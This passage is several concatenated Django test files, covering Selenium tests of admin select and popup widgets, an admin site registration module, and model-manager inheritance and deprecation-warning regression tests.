        # Check the title attribute is there for tool tips: ticket #20821
        self.assertEqual(from_lisa_select_option.get_attribute('title'), from_lisa_select_option.get_attribute('text'))

        from_lisa_select_option.click()
        self.get_select_option(from_box, str(self.jason.id)).click()
        self.get_select_option(from_box, str(self.bob.id)).click()
        self.get_select_option(from_box, str(self.john.id)).click()
        self.assertActiveButtons(mode, field_name, True, False, True, False)
        self.selenium.find_element_by_id(choose_link).click()
        self.assertActiveButtons(mode, field_name, False, False, True, True)

        self.assertSelectOptions(from_box, [
            str(self.peter.id), str(self.arthur.id),
            str(self.cliff.id), str(self.jenny.id),
        ])
        self.assertSelectOptions(to_box, [
            str(self.lisa.id), str(self.bob.id),
            str(self.jason.id), str(self.john.id),
        ])

        # Check the tooltip is still there after moving: ticket #20821
        to_lisa_select_option = self.get_select_option(to_box, str(self.lisa.id))
        self.assertEqual(to_lisa_select_option.get_attribute('title'), to_lisa_select_option.get_attribute('text'))

        # Remove some options -------------------------------------------------
        self.get_select_option(to_box, str(self.lisa.id)).click()
        self.get_select_option(to_box, str(self.bob.id)).click()
        self.assertActiveButtons(mode, field_name, False, True, True, True)
        self.selenium.find_element_by_id(remove_link).click()
        self.assertActiveButtons(mode, field_name, False, False, True, True)

        self.assertSelectOptions(from_box, [
            str(self.peter.id), str(self.arthur.id),
            str(self.cliff.id), str(self.jenny.id),
            str(self.lisa.id), str(self.bob.id)
        ])
        self.assertSelectOptions(to_box, [str(self.jason.id), str(self.john.id)])

        # Choose some more options --------------------------------------------
        self.get_select_option(from_box, str(self.arthur.id)).click()
        self.get_select_option(from_box, str(self.cliff.id)).click()
        self.selenium.find_element_by_id(choose_link).click()

        self.assertSelectOptions(from_box, [
            str(self.peter.id), str(self.jenny.id),
            str(self.lisa.id), str(self.bob.id),
        ])
        self.assertSelectOptions(to_box, [
            str(self.jason.id), str(self.john.id),
            str(self.arthur.id), str(self.cliff.id),
        ])

        # Choose some more options --------------------------------------------
        self.get_select_option(from_box, str(self.peter.id)).click()
        self.get_select_option(from_box, str(self.lisa.id)).click()

        # Confirm they're selected after clicking inactive buttons: ticket #26575
        self.assertSelectedOptions(from_box, [str(self.peter.id), str(self.lisa.id)])
        self.selenium.find_element_by_id(remove_link).click()
        self.assertSelectedOptions(from_box, [str(self.peter.id), str(self.lisa.id)])

        # Unselect the options ------------------------------------------------
        self.get_select_option(from_box, str(self.peter.id)).click()
        self.get_select_option(from_box, str(self.lisa.id)).click()

        # Choose some more options --------------------------------------------
        self.get_select_option(to_box, str(self.jason.id)).click()
        self.get_select_option(to_box, str(self.john.id)).click()

        # Confirm they're selected after clicking inactive buttons: ticket #26575
        self.assertSelectedOptions(to_box, [str(self.jason.id), str(self.john.id)])
        self.selenium.find_element_by_id(choose_link).click()
        self.assertSelectedOptions(to_box, [str(self.jason.id), str(self.john.id)])

        # Unselect the options ------------------------------------------------
        self.get_select_option(to_box, str(self.jason.id)).click()
        self.get_select_option(to_box, str(self.john.id)).click()

        # Pressing buttons shouldn't change the URL.
        self.assertEqual(self.selenium.current_url, original_url)

    def test_basic(self):
        self.school.students.set([self.lisa, self.peter])
        self.school.alumni.set([self.lisa, self.peter])

        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_school_change', args=(self.school.id,)))

        self.wait_page_loaded()
        self.execute_basic_operations('vertical', 'students')
        self.execute_basic_operations('horizontal', 'alumni')

        # Save and check that everything is properly stored in the database ---
        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.wait_page_loaded()
        self.school = models.School.objects.get(id=self.school.id)  # Reload from database
        self.assertEqual(list(self.school.students.all()), [self.arthur, self.cliff, self.jason, self.john])
        self.assertEqual(list(self.school.alumni.all()), [self.arthur, self.cliff, self.jason, self.john])

    def test_filter(self):
        """
        Ensure that typing in the search box filters out options displayed in
        the 'from' box.
        """
        from selenium.webdriver.common.keys import Keys

        self.school.students.set([self.lisa, self.peter])
        self.school.alumni.set([self.lisa, self.peter])

        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_school_change', args=(self.school.id,)))

        for field_name in ['students', 'alumni']:
            from_box = '#id_%s_from' % field_name
            to_box = '#id_%s_to' % field_name
            choose_link = 'id_%s_add_link' % field_name
            remove_link = 'id_%s_remove_link' % field_name
            input = self.selenium.find_element_by_id('id_%s_input' % field_name)

            # Initial values
            self.assertSelectOptions(from_box, [
                str(self.arthur.id), str(self.bob.id),
                str(self.cliff.id), str(self.jason.id),
                str(self.jenny.id), str(self.john.id),
            ])

            # Typing in some characters filters out non-matching options
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys('R')
            self.assertSelectOptions(from_box, [str(self.arthur.id)])

            # Clearing the text box makes the other options reappear
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box, [
                str(self.arthur.id), str(self.bob.id),
                str(self.cliff.id), str(self.jason.id),
                str(self.jenny.id), str(self.john.id),
            ])

            # -----------------------------------------------------------------
            # Check that choosing a filtered option sends it properly to the
            # 'to' box.
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            self.get_select_option(from_box, str(self.jason.id)).click()
            self.selenium.find_element_by_id(choose_link).click()
            self.assertSelectOptions(from_box, [str(self.arthur.id)])
            self.assertSelectOptions(to_box, [
                str(self.lisa.id), str(self.peter.id), str(self.jason.id),
            ])

            self.get_select_option(to_box, str(self.lisa.id)).click()
            self.selenium.find_element_by_id(remove_link).click()
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box, [str(self.peter.id), str(self.jason.id)])

            input.send_keys([Keys.BACK_SPACE])  # Clear text box
            self.assertSelectOptions(from_box, [
                str(self.arthur.id), str(self.bob.id),
                str(self.cliff.id), str(self.jenny.id),
                str(self.john.id), str(self.lisa.id),
            ])
            self.assertSelectOptions(to_box, [str(self.peter.id), str(self.jason.id)])

            # -----------------------------------------------------------------
            # Check that pressing enter on a filtered option sends it properly
            # to the 'to' box.
            self.get_select_option(to_box, str(self.jason.id)).click()
            self.selenium.find_element_by_id(remove_link).click()
            input.send_keys('ja')
            self.assertSelectOptions(from_box, [str(self.jason.id)])
            input.send_keys([Keys.ENTER])
            self.assertSelectOptions(to_box, [str(self.peter.id), str(self.jason.id)])
            input.send_keys([Keys.BACK_SPACE, Keys.BACK_SPACE])

        # Save and check that everything is properly stored in the database ---
        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.wait_page_loaded()
        self.school = models.School.objects.get(id=self.school.id)  # Reload from database
        self.assertEqual(list(self.school.students.all()), [self.jason, self.peter])
        self.assertEqual(list(self.school.alumni.all()), [self.jason, self.peter])

    def test_back_button_bug(self):
        """
        Some browsers had a bug where navigating away from the change page
        and then clicking the browser's back button would clear the
        filter_horizontal/filter_vertical widgets (#13614).
        """
        self.school.students.set([self.lisa, self.peter])
        self.school.alumni.set([self.lisa, self.peter])
        self.admin_login(username='super', password='secret', login_url='/')
        change_url = reverse('admin:admin_widgets_school_change', args=(self.school.id,))
        self.selenium.get(self.live_server_url + change_url)
        # Navigate away and go back to the change form page.
        self.selenium.find_element_by_link_text('Home').click()
        self.selenium.back()
        expected_unselected_values = [
            str(self.arthur.id), str(self.bob.id), str(self.cliff.id),
            str(self.jason.id), str(self.jenny.id), str(self.john.id),
        ]
        expected_selected_values = [str(self.lisa.id), str(self.peter.id)]
        # Check that everything is still in place
        self.assertSelectOptions('#id_students_from', expected_unselected_values)
        self.assertSelectOptions('#id_students_to', expected_selected_values)
        self.assertSelectOptions('#id_alumni_from', expected_unselected_values)
        self.assertSelectOptions('#id_alumni_to', expected_selected_values)

    def test_refresh_page(self):
        """
        Horizontal and vertical filter widgets keep selected options on page
        reload (#22955).
        """
        self.school.students.add(self.arthur, self.jason)
        self.school.alumni.add(self.arthur, self.jason)

        self.admin_login(username='super', password='secret', login_url='/')
        change_url = reverse('admin:admin_widgets_school_change', args=(self.school.id,))
        self.selenium.get(self.live_server_url + change_url)

        options_len = len(self.selenium.find_elements_by_css_selector('#id_students_to > option'))
        self.assertEqual(options_len, 2)

        # self.selenium.refresh() or send_keys(Keys.F5) does hard reload and
        # doesn't replicate what happens when a user clicks the browser's
        # 'Refresh' button.
        self.selenium.execute_script("location.reload()")
        self.wait_page_loaded()

        options_len = len(self.selenium.find_elements_by_css_selector('#id_students_to > option'))
        self.assertEqual(options_len, 2)


class AdminRawIdWidgetSeleniumTests(AdminWidgetSeleniumTestCase):

    def setUp(self):
        super(AdminRawIdWidgetSeleniumTests, self).setUp()
        models.Band.objects.create(id=42, name='Bogey Blues')
        models.Band.objects.create(id=98, name='Green Potatoes')

    def test_ForeignKey(self):
        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_event_add'))
        main_window = self.selenium.current_window_handle

        # No value has been selected yet
        self.assertEqual(self.selenium.find_element_by_id('id_main_band').get_attribute('value'), '')

        # Open the popup window and click on a band
        self.selenium.find_element_by_id('lookup_id_main_band').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_main_band')
        link = self.selenium.find_element_by_link_text('Bogey Blues')
        self.assertIn('/band/42/', link.get_attribute('href'))
        link.click()

        # The field now contains the selected band's id
        self.selenium.switch_to.window(main_window)
        self.wait_for_value('#id_main_band', '42')

        # Reopen the popup window and click on another band
        self.selenium.find_element_by_id('lookup_id_main_band').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_main_band')
        link = self.selenium.find_element_by_link_text('Green Potatoes')
        self.assertIn('/band/98/', link.get_attribute('href'))
        link.click()

        # The field now contains the other selected band's id
        self.selenium.switch_to.window(main_window)
        self.wait_for_value('#id_main_band', '98')

    def test_many_to_many(self):
        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_event_add'))
        main_window = self.selenium.current_window_handle

        # No value has been selected yet
        self.assertEqual(self.selenium.find_element_by_id('id_supporting_bands').get_attribute('value'), '')

        # Help text for the field is displayed
        self.assertEqual(
            self.selenium.find_element_by_css_selector('.field-supporting_bands p.help').text,
            'Supporting Bands.'
        )

        # Open the popup window and click on a band
        self.selenium.find_element_by_id('lookup_id_supporting_bands').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_supporting_bands')
        link = self.selenium.find_element_by_link_text('Bogey Blues')
        self.assertIn('/band/42/', link.get_attribute('href'))
        link.click()

        # The field now contains the selected band's id
        self.selenium.switch_to.window(main_window)
        self.wait_for_value('#id_supporting_bands', '42')

        # Reopen the popup window and click on another band
        self.selenium.find_element_by_id('lookup_id_supporting_bands').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_supporting_bands')
        link = self.selenium.find_element_by_link_text('Green Potatoes')
        self.assertIn('/band/98/', link.get_attribute('href'))
        link.click()

        # The field now contains the two selected bands' ids
        self.selenium.switch_to.window(main_window)
        self.wait_for_value('#id_supporting_bands', '42,98')


class RelatedFieldWidgetSeleniumTests(AdminWidgetSeleniumTestCase):

    def test_ForeignKey_using_to_field(self):
        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(self.live_server_url + reverse('admin:admin_widgets_profile_add'))

        main_window = self.selenium.current_window_handle
        # Click the Add User button to add new
        self.selenium.find_element_by_id('add_id_user').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_user')
        password_field = self.selenium.find_element_by_id('id_password')
        password_field.send_keys('password')

        username_field = self.selenium.find_element_by_id('id_username')
        username_value = 'newuser'
        username_field.send_keys(username_value)

        save_button_css_selector = '.submit-row > input[type=submit]'
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.selenium.switch_to.window(main_window)
        # The field now contains the new user
        self.selenium.find_element_by_css_selector('#id_user option[value=newuser]')

        # Click the Change User button to change it
        self.selenium.find_element_by_id('change_id_user').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_user')

        username_field = self.selenium.find_element_by_id('id_username')
        username_value = 'changednewuser'
        username_field.clear()
        username_field.send_keys(username_value)

        save_button_css_selector = '.submit-row > input[type=submit]'
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.selenium.switch_to.window(main_window)
        self.selenium.find_element_by_css_selector('#id_user option[value=changednewuser]')

        # Go ahead and submit the form to make sure it works
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.wait_for_text('li.success', 'The profile "changednewuser" was added successfully.')
        profiles = models.Profile.objects.all()
        self.assertEqual(len(profiles), 1)
        self.assertEqual(profiles[0].user.username, username_value)






from django.contrib import admin

from . import models


class WidgetAdmin(admin.AdminSite):
    pass


class CarAdmin(admin.ModelAdmin):
    list_display = ['make', 'model', 'owner']
    list_editable = ['owner']


class CarTireAdmin(admin.ModelAdmin):
    def formfield_for_foreignkey(self, db_field, request, **kwargs):
        if db_field.name == "car":
            kwargs["queryset"] = models.Car.objects.filter(owner=request.user)
            return db_field.formfield(**kwargs)
        return super(CarTireAdmin, self).formfield_for_foreignkey(db_field, request, **kwargs)


class EventAdmin(admin.ModelAdmin):
    raw_id_fields = ['main_band', 'supporting_bands']


class AlbumAdmin(admin.ModelAdmin):
    fields = ('name', 'cover_art',)
    readonly_fields = ('cover_art',)


class SchoolAdmin(admin.ModelAdmin):
    filter_vertical = ('students',)
    filter_horizontal = ('alumni',)

site = WidgetAdmin(name='widget-admin')

site.register(models.User)
site.register(models.Car, CarAdmin)
site.register(models.CarTire, CarTireAdmin)

site.register(models.Member)
site.register(models.Band)
site.register(models.Event, EventAdmin)
site.register(models.Album, AlbumAdmin)

site.register(models.Inventory)

site.register(models.Bee)

site.register(models.Advisor)

site.register(models.School, SchoolAdmin)

site.register(models.Profile)






"""
Various edge-cases for model managers.
"""

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import force_text, python_2_unicode_compatible


class OnlyFred(models.Manager):
    def get_queryset(self):
        return super(OnlyFred, self).get_queryset().filter(name='fred')


class OnlyBarney(models.Manager):
    def get_queryset(self):
        return super(OnlyBarney, self).get_queryset().filter(name='barney')


class Value42(models.Manager):
    def get_queryset(self):
        return super(Value42, self).get_queryset().filter(value=42)


class AbstractBase1(models.Model):
    name = models.CharField(max_length=50)

    class Meta:
        abstract = True

    # Custom managers
    manager1 = OnlyFred()
    manager2 = OnlyBarney()
    objects = models.Manager()


class AbstractBase2(models.Model):
    value = models.IntegerField()

    class Meta:
        abstract = True

    # Custom manager
    restricted = Value42()


# No custom manager on this class to make sure the default case doesn't break.
class AbstractBase3(models.Model):
    comment = models.CharField(max_length=50)

    class Meta:
        abstract = True


@python_2_unicode_compatible
class Parent(models.Model):
    name = models.CharField(max_length=50)

    manager = OnlyFred()

    def __str__(self):
        return self.name


# Managers from base classes are inherited and, if no manager is specified
# *and* the parent has a manager specified, the first one (in the MRO) will
# become the default.
@python_2_unicode_compatible
class Child1(AbstractBase1):
    data = models.CharField(max_length=25)

    def __str__(self):
        return self.data


@python_2_unicode_compatible
class Child2(AbstractBase1, AbstractBase2):
    data = models.CharField(max_length=25)

    def __str__(self):
        return self.data


@python_2_unicode_compatible
class Child3(AbstractBase1, AbstractBase3):
    data = models.CharField(max_length=25)

    def __str__(self):
        return self.data


@python_2_unicode_compatible
class Child4(AbstractBase1):
    data = models.CharField(max_length=25)

    # Should be the default manager, although the parent managers are
    # inherited.
    default = models.Manager()

    def __str__(self):
        return self.data


@python_2_unicode_compatible
class Child5(AbstractBase3):
    name = models.CharField(max_length=25)

    default = OnlyFred()
    objects = models.Manager()

    def __str__(self):
        return self.name


class Child6(Child4):
    value = models.IntegerField()

    class Meta:
        manager_inheritance_from_future = True


class Child7(Parent):
    objects = models.Manager()


# RelatedManagers
@python_2_unicode_compatible
class RelatedModel(models.Model):
    test_gfk = GenericRelation('RelationModel', content_type_field='gfk_ctype', object_id_field='gfk_id')
    exact = models.NullBooleanField()

    def __str__(self):
        return force_text(self.pk)


@python_2_unicode_compatible
class RelationModel(models.Model):
    fk = models.ForeignKey(RelatedModel, models.CASCADE, related_name='test_fk')

    m2m = models.ManyToManyField(RelatedModel, related_name='test_m2m')

    gfk_ctype = models.ForeignKey(ContentType, models.SET_NULL, null=True)
    gfk_id = models.IntegerField(null=True)
    gfk = GenericForeignKey(ct_field='gfk_ctype', fk_field='gfk_id')

    def __str__(self):
        return force_text(self.pk)












from __future__ import unicode_literals

import warnings

from django.db import models
from django.db.utils import DatabaseError
from django.template import Context, Template
from django.test import TestCase, override_settings
from django.test.utils import isolate_apps
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text

from .models import (
    AbstractBase1, AbstractBase2, AbstractBase3, Child1, Child2, Child3,
    Child4, Child5, Child6, Child7, RelatedModel, RelationModel,
)


class ManagersRegressionTests(TestCase):
    def test_managers(self):
        Child1.objects.create(name='fred', data='a1')
        Child1.objects.create(name='barney', data='a2')
        Child2.objects.create(name='fred', data='b1', value=1)
        Child2.objects.create(name='barney', data='b2', value=42)
        Child3.objects.create(name='fred', data='c1', comment='yes')
        Child3.objects.create(name='barney', data='c2', comment='no')
        Child4.objects.create(name='fred', data='d1')
        Child4.objects.create(name='barney', data='d2')
        Child5.objects.create(name='fred', comment='yes')
        Child5.objects.create(name='barney', comment='no')
        Child6.objects.create(name='fred', data='f1', value=42)
        Child6.objects.create(name='barney', data='f2', value=42)
        Child7.objects.create(name='fred')
        Child7.objects.create(name='barney')

        self.assertQuerysetEqual(Child1.manager1.all(), ["<Child1: a1>"])
        self.assertQuerysetEqual(Child1.manager2.all(), ["<Child1: a2>"])
        self.assertQuerysetEqual(Child1._default_manager.all(), ["<Child1: a1>"])

        self.assertQuerysetEqual(Child2._default_manager.all(), ["<Child2: b1>"])
        self.assertQuerysetEqual(Child2.restricted.all(), ["<Child2: b2>"])

        self.assertQuerysetEqual(Child3._default_manager.all(), ["<Child3: c1>"])
        self.assertQuerysetEqual(Child3.manager1.all(), ["<Child3: c1>"])
        self.assertQuerysetEqual(Child3.manager2.all(), ["<Child3: c2>"])

        # Since Child6 inherits from Child4, the corresponding rows from f1 and
        # f2 also appear here. This is the expected result.
        self.assertQuerysetEqual(Child4._default_manager.order_by('data'), [
            "<Child4: d1>",
            "<Child4: d2>",
            "<Child4: f1>",
            "<Child4: f2>",
        ])
        self.assertQuerysetEqual(Child4.manager1.all(), ["<Child4: d1>", "<Child4: f1>"], ordered=False)
        self.assertQuerysetEqual(Child5._default_manager.all(), ["<Child5: fred>"])
        self.assertQuerysetEqual(Child6._default_manager.all(), ["<Child6: f1>", "<Child6: f2>"], ordered=False)
        self.assertQuerysetEqual(
            Child7._default_manager.order_by('name'),
            ["<Child7: barney>", "<Child7: fred>"]
        )

    def test_abstract_manager(self):
        # Accessing the manager on an abstract model should
        # raise an attribute error with an appropriate message.
        # This error message isn't ideal, but if the model is abstract and
        # a lot of the class instantiation logic isn't invoked; if the
        # manager is implied, then we don't get a hook to install the
        # error-raising manager.
        msg = "type object 'AbstractBase3' has no attribute 'objects'"
        with self.assertRaisesMessage(AttributeError, msg):
            AbstractBase3.objects.all()

    def test_custom_abstract_manager(self):
        # Accessing the manager on an abstract model with an custom
        # manager should raise an attribute error with an appropriate
        # message.
        msg = "Manager isn't available; AbstractBase2 is abstract"
        with self.assertRaisesMessage(AttributeError, msg):
            AbstractBase2.restricted.all()

    def test_explicit_abstract_manager(self):
        # Accessing the manager on an abstract model with an explicit
        # manager should raise an attribute error with an appropriate
        # message.
        msg = "Manager isn't available; AbstractBase1 is abstract"
        with self.assertRaisesMessage(AttributeError, msg):
            AbstractBase1.objects.all()

    @override_settings(TEST_SWAPPABLE_MODEL='managers_regress.Parent')
    @isolate_apps('managers_regress')
    def test_swappable_manager(self):
        class SwappableModel(models.Model):
            class Meta:
                swappable = 'TEST_SWAPPABLE_MODEL'

        # Accessing the manager on a swappable model should
        # raise an attribute error with a helpful message
        msg = (
            "Manager isn't available; 'managers_regress.SwappableModel' "
            "has been swapped for 'managers_regress.Parent'"
        )
        with self.assertRaisesMessage(AttributeError, msg):
            SwappableModel.objects.all()

    @override_settings(TEST_SWAPPABLE_MODEL='managers_regress.Parent')
    @isolate_apps('managers_regress')
    def test_custom_swappable_manager(self):
        class SwappableModel(models.Model):
            stuff = models.Manager()

            class Meta:
                swappable = 'TEST_SWAPPABLE_MODEL'

        # Accessing the manager on a swappable model with an
        # explicit manager should raise an attribute error with a
        # helpful message
        msg = (
            "Manager isn't available; 'managers_regress.SwappableModel' "
            "has been swapped for 'managers_regress.Parent'"
        )
        with self.assertRaisesMessage(AttributeError, msg):
            SwappableModel.stuff.all()

    @override_settings(TEST_SWAPPABLE_MODEL='managers_regress.Parent')
    @isolate_apps('managers_regress')
    def test_explicit_swappable_manager(self):
        class SwappableModel(models.Model):
            objects = models.Manager()

            class Meta:
                swappable = 'TEST_SWAPPABLE_MODEL'

        # Accessing the manager on a swappable model with an
        # explicit manager should raise an attribute error with a
        # helpful message
        msg = (
            "Manager isn't available; 'managers_regress.SwappableModel' "
            "has been swapped for 'managers_regress.Parent'"
        )
        with self.assertRaisesMessage(AttributeError, msg):
            SwappableModel.objects.all()

    def test_regress_3871(self):
        related = RelatedModel.objects.create()

        relation = RelationModel()
        relation.fk = related
        relation.gfk = related
        relation.save()
        relation.m2m.add(related)

        t = Template('{{ related.test_fk.all.0 }}{{ related.test_gfk.all.0 }}{{ related.test_m2m.all.0 }}')

        self.assertEqual(
            t.render(Context({'related': related})),
            ''.join([force_text(relation.pk)] * 3),
        )

    def test_field_can_be_called_exact(self):
        # Make sure related managers core filters don't include an
        # explicit `__exact` lookup that could be interpreted as a
        # reference to a foreign `exact` field. refs #23940.
        related = RelatedModel.objects.create(exact=False)
        relation = related.test_fk.create()
        self.assertEqual(related.test_fk.get(), relation)


@isolate_apps('managers_regress')
class TestManagerInheritance(TestCase):
    def test_implicit_inheritance(self):
        class CustomManager(models.Manager):
            pass

        class AbstractModel(models.Model):
            custom_manager = CustomManager()

            class Meta:
                abstract = True

        class PlainModel(models.Model):
            custom_manager = CustomManager()

        self.assertIsInstance(PlainModel._base_manager, models.Manager)
        self.assertIsInstance(PlainModel._default_manager, CustomManager)

        class ModelWithAbstractParent(AbstractModel):
            class Meta:
                manager_inheritance_from_future = True

        self.assertIsInstance(ModelWithAbstractParent._base_manager, models.Manager)
        self.assertIsInstance(ModelWithAbstractParent._default_manager, CustomManager)

        class ProxyModel(PlainModel):
            class Meta:
                manager_inheritance_from_future = True
                proxy = True

        self.assertIsInstance(ProxyModel._base_manager, models.Manager)
        self.assertIsInstance(ProxyModel._default_manager, CustomManager)

        class MTIModel(PlainModel):
            class Meta:
                manager_inheritance_from_future = True

        self.assertIsInstance(MTIModel._base_manager, models.Manager)
        self.assertIsInstance(MTIModel._default_manager, CustomManager)

    def test_default_manager_inheritance(self):
        class CustomManager(models.Manager):
            pass

        class AbstractModel(models.Model):
            another_manager = models.Manager()
            custom_manager = CustomManager()

            class Meta:
                default_manager_name = 'custom_manager'
                abstract = True

        class PlainModel(models.Model):
            another_manager = models.Manager()
            custom_manager = CustomManager()

            class Meta:
                default_manager_name = 'custom_manager'

        self.assertIsInstance(PlainModel._default_manager, CustomManager)

        class ModelWithAbstractParent(AbstractModel):
            class Meta:
                manager_inheritance_from_future = True

        self.assertIsInstance(ModelWithAbstractParent._default_manager, CustomManager)

        class ProxyModel(PlainModel):
            class Meta:
                manager_inheritance_from_future = True
                proxy = True

        self.assertIsInstance(ProxyModel._default_manager, CustomManager)

        class MTIModel(PlainModel):
            class Meta:
                manager_inheritance_from_future = True

        self.assertIsInstance(MTIModel._default_manager, CustomManager)

    def test_base_manager_inheritance(self):
        class CustomManager(models.Manager):
            pass

        class AbstractModel(models.Model):
            another_manager = models.Manager()
            custom_manager = CustomManager()

            class Meta:
                base_manager_name = 'custom_manager'
                abstract = True

        class PlainModel(models.Model):
            another_manager = models.Manager()
            custom_manager = CustomManager()

            class Meta:
                base_manager_name = 'custom_manager'

        self.assertIsInstance(PlainModel._base_manager, CustomManager)

        class ModelWithAbstractParent(AbstractModel):
            class Meta:
                manager_inheritance_from_future = True

        self.assertIsInstance(ModelWithAbstractParent._base_manager, CustomManager)

        class ProxyModel(PlainModel):
            class Meta:
                manager_inheritance_from_future = True
                proxy = True

        self.assertIsInstance(ProxyModel._base_manager, CustomManager)

        class MTIModel(PlainModel):
            class Meta:
                manager_inheritance_from_future = True

        self.assertIsInstance(MTIModel._base_manager, CustomManager)

    def test_manager_no_duplicates(self):
        class CustomManager(models.Manager):
            pass

        class AbstractModel(models.Model):
            custom_manager = models.Manager()

            class Meta:
                abstract = True

        class TestModel(AbstractModel):
            custom_manager = CustomManager()

        self.assertEqual(TestModel._meta.managers, (TestModel.custom_manager,))
        self.assertEqual(TestModel._meta.managers_map, {'custom_manager': TestModel.custom_manager})


@isolate_apps('managers_regress')
class TestManagerDeprecations(TestCase):
    def test_use_for_related_fields_on_geomanager(self):
        from django.contrib.gis.db.models import GeoManager

        class MyModel(models.Model):
            objects = GeoManager()

        # Shouldn't issue any warnings, since GeoManager itself will be
        # deprecated at the same time as use_for_related_fields, there
        # is no point annoying users with this deprecation.
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            MyModel._base_manager
        self.assertEqual(len(warns), 0)

    def test_use_for_related_fields_for_base_manager(self):
        class MyManager(models.Manager):
            use_for_related_fields = True

        class MyModel(models.Model):
            objects = MyManager()

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            MyModel._base_manager
        self.assertEqual(len(warns), 1)
        self.assertEqual(
            str(warns[0].message),
            "use_for_related_fields is deprecated, "
            "instead set Meta.base_manager_name on "
            "'managers_regress.MyModel'.",
        )

        # With the new base_manager_name API there shouldn't be any warnings.
        class MyModel2(models.Model):
            objects = MyManager()

            class Meta:
                base_manager_name = 'objects'

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            MyModel2._base_manager
        self.assertEqual(len(warns), 0)

    def test_use_for_related_fields_for_many_to_one(self):
        # Common objects
        class MyManagerQuerySet(models.QuerySet):
            pass

        class MyLegacyManagerQuerySet(models.QuerySet):
            pass

        class MyManager(models.Manager):
            def get_queryset(self):
                return MyManagerQuerySet(model=self.model, using=self._db, hints=self._hints)

        class MyLegacyManager(models.Manager):
            use_for_related_fields = True

            def get_queryset(self):
                return MyLegacyManagerQuerySet(model=self.model, using=self._db, hints=self._hints)

        # With legacy config there should be a deprecation warning
        class MyRelModel(models.Model):
            objects = MyLegacyManager()

        class MyModel(models.Model):
            fk = models.ForeignKey(MyRelModel, on_delete=models.DO_NOTHING)

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            try:
                MyModel(fk_id=42).fk
            except DatabaseError:
                pass
        self.assertEqual(len(warns), 1)
        self.assertEqual(
            str(warns[0].message),
            "use_for_related_fields is deprecated, "
            "instead set Meta.base_manager_name on "
            "'managers_regress.MyRelModel'.",
        )

        # With the new base_manager_name API there shouldn't be any warnings.
        class MyRelModel2(models.Model):
            objects = MyManager()

            class Meta:
                base_manager_name = 'objects'

        class MyModel2(models.Model):
            fk = models.ForeignKey(MyRelModel2, on_delete=models.DO_NOTHING)

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            try:
                MyModel2(fk_id=42).fk
            except DatabaseError:
                pass
        self.assertEqual(len(warns), 0)

        # When mixing base_manager_name and use_for_related_fields, there
        # should be warnings.
        class MyRelModel3(models.Model):
            my_base_manager = MyManager()
            my_default_manager = MyLegacyManager()

            class Meta:
                base_manager_name = 'my_base_manager'
                default_manager_name = 'my_default_manager'

        class MyModel3(models.Model):
            fk = models.ForeignKey(MyRelModel3, on_delete=models.DO_NOTHING)

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            try:
                MyModel3(fk_id=42).fk
            except DatabaseError:
                pass
        self.assertEqual(len(warns), 1)
        self.assertEqual(
            str(warns[0].message),
            "use_for_related_fields is deprecated, "
            "instead set Meta.base_manager_name on "
            "'managers_regress.MyRelModel3'.",
        )
        with warnings.catch_warnings(record=True):
            warnings.simplefilter('always', RemovedInDjango20Warning)
            self.assertIsInstance(MyModel3.fk.get_queryset(), MyLegacyManagerQuerySet)

    def test_use_for_related_fields_for_one_to_one(self):
        # Common objects
        class MyManagerQuerySet(models.QuerySet):
            pass

        class MyLegacyManagerQuerySet(models.QuerySet):
            pass

        class MyManager(models.Manager):
            def get_queryset(self):
                return MyManagerQuerySet(model=self.model, using=self._db, hints=self._hints)

        class MyLegacyManager(models.Manager):
            use_for_related_fields = True

            def get_queryset(self):
                return MyLegacyManagerQuerySet(model=self.model, using=self._db, hints=self._hints)

        # With legacy config there should be a deprecation warning
        class MyRelModel(models.Model):
            objects = MyLegacyManager()

        class MyModel(models.Model):
            o2o = models.OneToOneField(MyRelModel, on_delete=models.DO_NOTHING)
            objects = MyLegacyManager()

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            try:
                MyModel(o2o_id=42).o2o
            except DatabaseError:
                pass
        self.assertEqual(len(warns), 1)
        self.assertEqual(
            str(warns[0].message),
            "use_for_related_fields is deprecated, "
            "instead set Meta.base_manager_name on "
            "'managers_regress.MyRelModel'.",
        )

        with warnings.catch_warnings(record=True) as warns:
